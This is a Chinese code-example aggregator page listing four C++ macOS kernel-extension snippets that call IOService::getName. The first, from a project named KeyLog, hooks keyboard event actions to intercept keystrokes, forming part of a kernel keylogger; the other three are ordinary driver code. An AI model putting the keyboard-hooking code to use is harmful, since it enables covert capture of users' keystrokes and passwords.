当前位置: 首页>>代码示例>>C++>>正文


C++ IOService::getName方法代码示例

本文整理汇总了C++中IOService::getName方法的典型用法代码示例。如果您正苦于以下问题:C++ IOService::getName方法的具体用法?C++ IOService::getName怎么用?C++ IOService::getName使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在IOService的用法示例。


在下文中一共展示了IOService::getName方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: notificationHandler

bool com_prebeg_kext_KeyLog::notificationHandler(void *target, void *ref, IOService *newServ, IONotifier *notifier)
{
    com_prebeg_kext_KeyLog* self = OSDynamicCast( com_prebeg_kext_KeyLog, (OSMetaClassBase*)target );
    if (!self)
        return false;
    
#ifdef DEBUG
    IOLog( "%s::Notification handler called\n", self->getName() );
#endif
    
    IOHIKeyboard*   keyboard = OSDynamicCast( IOHIKeyboard, newServ );
    if (!keyboard)
        return false;
    
    if (!keyboard->_keyboardEventTarget)
    {
#ifdef DEBUG
        IOLog( "%s::No Keyboard event target\n", self->getName());
#endif
        
        return false;
    }
    // event target must be IOHIDSystem
    
    IOService*      targetServ = OSDynamicCast( IOService, keyboard->_keyboardEventTarget );
    if (targetServ)
    {
#ifdef DEBUG
        IOLog( "%s::Keyboard event target is %s\n", self->getName(), targetServ->getName());
#endif
    }
    
    if (!keyboard->_keyboardEventTarget->metaCast("IOHIDSystem"))
        return false;

    // we have a valid keyboard to be logged
#ifdef DEBUG
    IOLog( "%s::Adding keyboard %p\n", self->getName(),keyboard );
#endif
    
    
    int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0);
    if (index<0)
    {       
        self->loggedKeyboards->setObject(keyboard);
        self->kextKeys++;
    }
    
    origAction = keyboard->_keyboardEventAction;            // save the original action
    keyboard->_keyboardEventAction = (KeyboardEventAction) logAction;       // apply the new action
    
    origSpecialAction = keyboard->_keyboardSpecialEventAction;              // save the original action
    keyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction) specialAction;     // apply the new action
    
    return true;
}
开发者ID:gaeandy,项目名称:KeyLog,代码行数:56,代码来源:KeyLog.cpp

示例2: getResources

IOReturn ARMIODevice::getResources( void )
{
    IOService *macIO = this;

    if (getDeviceMemory() != 0) return kIOReturnSuccess;
    
    while (macIO && ((macIO = macIO->getProvider()) != 0))
        if (strcmp("arm-io", macIO->getName()) == 0) break;
    
    if (macIO == 0) return kIOReturnError;
    
    IODTResolveAddressing(this, "reg", macIO->getDeviceMemoryWithIndex(0));
    
    return kIOReturnSuccess;
}
开发者ID:CptFrazz,项目名称:xnu,代码行数:15,代码来源:AppleARMIO.cpp

示例3:

//	----------------------------------------------------------------------------------------------------
IODBDMAChannelRegisters *	PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( IOService * dbdmaProvider ) 
{
	IOMemoryMap *				map;
	IOService *					parentOfParent;
	
	debugIOLog (3,  "+ PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( %p )", dbdmaProvider );
	FailIf ( NULL == dbdmaProvider, Exit );
	debugIOLog (3,  "  i2s-x name is %s", dbdmaProvider->getName() );
	parentOfParent = (IOService*)dbdmaProvider->getParentEntry ( gIODTPlane );
	FailIf ( NULL == parentOfParent, Exit );
	debugIOLog (3,  "  parent of %s is %s", dbdmaProvider->getName(), parentOfParent->getName() );
	map = parentOfParent->mapDeviceMemoryWithIndex ( AppleDBDMAAudio::kDBDMAOutputIndex );
	FailIf ( NULL == map, Exit );
	mIOBaseDMAOutput = (IODBDMAChannelRegisters *) map->getVirtualAddress();
	debugIOLog (3,  "  mIOBaseDMAOutput virtual address %p is at physical address %p", mIOBaseDMAOutput, (void*)map->getPhysicalAddress() );
	if ( NULL == mIOBaseDMAOutput )
	{
		debugIOLog (1,  "  PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress IODBDMAChannelRegisters NOT IN VIRTUAL SPACE" );
	}
Exit:
	debugIOLog (3,  "- PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( %p ) returns %p", dbdmaProvider, mIOBaseDMAOutput );
	return mIOBaseDMAOutput;
}
开发者ID:OTiZ,项目名称:osx,代码行数:24,代码来源:PlatformInterfaceDBDMA_Mapped.cpp

示例4: HWSensorsErrorLog

FakeSMCKey *FakeSMCDevice::addKeyWithHandler(const char *name, const char *type, unsigned char size, IOService *handler)
{
    KEYSLOCK;
    
    FakeSMCKey *key;
    if ((key = getKey(name))) {
        
        IOService *existedHandler = key->getHandler();
        
        if (getHandlingPriority(handler) < getHandlingPriority(existedHandler)) {
            HWSensorsErrorLog("key %s already handled with prioritized handler %s", name, existedHandler ? existedHandler->getName() : "*Unreferenced*");
            key = 0;
        }
        else {
            HWSensorsInfoLog("key %s handler %s has been replaced with new prioritized handler %s", name, existedHandler ? existedHandler->getName() : "*Unreferenced*", handler ? handler->getName() : "*Unreferenced*");
            
            key->setType(type);
            key->setSize(size);
            key->setHandler(handler);
        }
    }
    else {
        
        FakeSMCDebugLog("adding key %s with handler, type: %s, size: %d", name, type, size);
        
        if ((key = FakeSMCKey::withHandler(name, type, size, handler))) {
            keys->setObject(key);
            updateKeyCounterKey();
        }
        else {
            HWSensorsErrorLog("failed to create key %s", name);
        }
    }
    KEYSUNLOCK;
    
    return key;
}
开发者ID:hanajiheechoi,项目名称:OS-X-FakeSMC-kozlek,代码行数:37,代码来源:FakeSMCDevice.cpp


注:本文中的IOService::getName方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。